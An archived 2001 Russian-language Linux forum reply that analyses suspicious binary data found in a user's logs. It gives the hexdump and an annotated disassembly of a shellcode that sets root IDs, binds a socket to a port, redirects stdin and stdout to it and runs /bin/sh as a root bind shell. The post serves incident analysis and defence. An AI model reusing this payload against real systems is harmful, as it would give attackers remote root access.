|
ru.linux- RU.LINUX --------------------------------------------------------------------- From : Bohdan Vlasyuk 2:5020/400 12 Jul 2001 15:09:04 To : All Subject : Re: Hепонятки в логах -------------------------------------------------------------------------------- Victor Ikonnikoff <Victor.Ikonnikoff@p24.f1046.n5020.z2.fidonet.org> wrote: > >> на не знаю какой сервис >> определи по PID -- 14790 >> ps aux|grep 14790 >> :-) > Да я как бы в курсе ;) Просто PIDы все время разные, и к моменту > просмотра логов этих процессов в живых уже не было Hадо было с конца просматривать лог.. :-) >>> (уж больно длинная строка - возможно, это бинарный код, да еще >>> завершающийся на /bin/sh, как и должна как я понимаю завершаться >>> если бы задачей было запустить рутовый шелл. >> Вот если бы ты его прислал в хексдампе.. например CD 80 это int >> $0x80 -- т.е. syscall > Вроде так: Да, ты бы еще заююкал.. лучше всего присылать дампы в xxd -- он есть у большинства.. man xxd (например, про -r) > 0000160 9090 9090 3190 31db 31c9 b0c0 cd46 8980 > 0000170 31e5 b2d2 8966 31d0 89c9 43cb 5d89 43f8 > 0000180 5d89 4bf4 4d89 8dfc f44d 80cd c931 4589 > 0000190 43f4 8966 ec5d c766 ee45 4f5e 8927 f04d > 00001a0 458d 89ec f845 45c6 5efc 8950 8dd0 f44d > 00001b0 80cd d089 4343 80cd d089 cd43 8980 31c3 > 00001c0 b2c9 893f cdd0 8980 41d0 80cd 5eeb 5e58 > 00001d0 7589 485e c031 4688 475e 4589 4c5e 5eb0 > 00001e0 894b 8df3 5e4d 8d48 5e55 cd4c e880 ffe3 > 00001f0 ffff 622f 6e69 732f 2768 000a Hет, это какая-то фигня.. очевидно у того парня (или у тебя) проблемы с byteorder.. Вот, например, 622f 6e69 732f 2768 это b/nis/'h, а должно быть 2f62 696e 2f73 6827 -- /bin/sh' Если его развернуть -- получится вот что -- (AT&T syntax) Disassembly of section .data: 00000000 <.data>: 0: 90 nop 1: 90 nop 2: 90 nop 3: 90 nop 4: 90 nop 5: 31 db xor %ebx,%ebx 7: 31 c9 xor %ecx,%ecx 9: 31 c0 xor %eax,%eax b: b0 46 mov $0x46,%al d: cd 80 int $0x80 sys_setreuid16(0,0) -- setreuid sets real and effective user ID's of the current process. Un-privileged users may change the real user ID to the effective user ID and vice-versa. f: 89 e5 mov %esp,%ebp 11: 31 d2 xor %edx,%edx 13: b2 66 mov $0x66,%dl 15: 89 d0 mov %edx,%eax 17: 31 c9 xor %ecx,%ecx 19: 89 cb mov %ecx,%ebx 1b: 43 inc %ebx 1c: 89 5d f8 mov %ebx,0xfffffff8(%ebp) 1f: 43 inc %ebx 20: 89 5d f4 mov %ebx,0xfffffff4(%ebp) 23: 4b dec %ebx 24: 89 4d fc mov %ecx,0xfffffffc(%ebp) 27: 8d 4d f4 lea 0xfffffff4(%ebp),%ecx 2a: cd 80 int $0x80 socketcall(XXX, &<где-то в стеке..>) 2c: 31 c9 xor %ecx,%ecx 2e: 89 45 f4 mov %eax,0xfffffff4(%ebp) 31: 43 inc %ebx 32: 66 89 5d ec mov %bx,0xffffffec(%ebp) 36: 66 c7 45 ee 5e 4f movw $0x4f5e,0xffffffee(%ebp) 3c: 27 daa 3d: 89 4d f0 mov %ecx,0xfffffff0(%ebp) 40: 8d 45 ec lea 0xffffffec(%ebp),%eax 43: 89 45 f8 mov %eax,0xfffffff8(%ebp) 46: c6 45 fc 5e movb $0x5e,0xfffffffc(%ebp) 4a: 50 push %eax 4b: 89 d0 mov %edx,%eax 4d: 8d 4d f4 lea 0xfffffff4(%ebp),%ecx 50: cd 80 int $0x80 Еще один socketcall() 52: 89 d0 mov %edx,%eax 54: 43 inc %ebx 55: 43 inc %ebx 56: cd 80 int $0x80 И еще один socketcall() 58: 89 d0 mov %edx,%eax 5a: 43 inc %ebx 5b: cd 80 int $0x80 [Догадайтесь сами] Смею предположить что в том куске кода открывался сокет, и биндился на какой-то порт. Кто хочет -- разбирайтесь сами, но, судя по всему, порт это 0x4f5e -- т.е. 20318 (но, не скрою, это лишь догадка) 5d: 89 c3 mov %eax,%ebx 5f: 31 c9 xor %ecx,%ecx 61: b2 3f mov $0x3f,%dl 63: 89 d0 mov %edx,%eax 65: cd 80 int $0x80 dup2(<тот сокет, который сверху открывали>,0) [stdin] чтобы проще было писать в него тому башу, который, очевидно, сейчас запустится.. 67: 89 d0 mov %edx,%eax 69: 41 inc %ecx 6a: cd 80 int $0x80 dup2(<тот сокет, который сверху открывали>,1) [stdout] 6c: eb 5e jmp 0xcc 6e: 58 pop %eax 6f: 5e pop %esi 70: 89 75 5e mov %esi,0x5e(%ebp) 73: 48 dec %eax 74: 31 c0 xor %eax,%eax 76: 88 46 5e mov %al,0x5e(%esi) 79: 47 inc %edi 7a: 89 45 5e mov %eax,0x5e(%ebp) 7d: 4c dec %esp 7e: b0 5e mov $0x5e,%al 80: 4b dec %ebx 81: 89 f3 mov %esi,%ebx 83: 8d 4d 5e lea 0x5e(%ebp),%ecx 86: 48 dec %eax 87: 8d 55 5e lea 0x5e(%ebp),%edx 8a: 4c dec %esp 8b: cd 80 int $0x80 8d: e8 e3 ff ff ff call 0x75 Тут уже не важно что он делает, суть в том что запускает он /bin/sh висеть у тебя на порту с рутовским шелом.. 92: 2f das 93: 62 69 6e bound %ebp,0x6e(%ecx) 96: 2f das 97: 73 68 jae 0x101 .ascii "/bin/sh" 99: 27 daa 9a: 0a 00 or (%eax),%al Я не думаю что это он сам придумал -- я уже видел такой код когда-то.. Очевидно, тебе "повезло", и очередной идиот (s.c. script kiddie) решил потестить твою секюрность.. --- ifmail v.2.15dev5 * Origin: InterCEC, Vinnitsa State Technical University, Ukraine (2:5020/400) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.linux/166869914b9a0.html, оценка из 5, голосов 10
|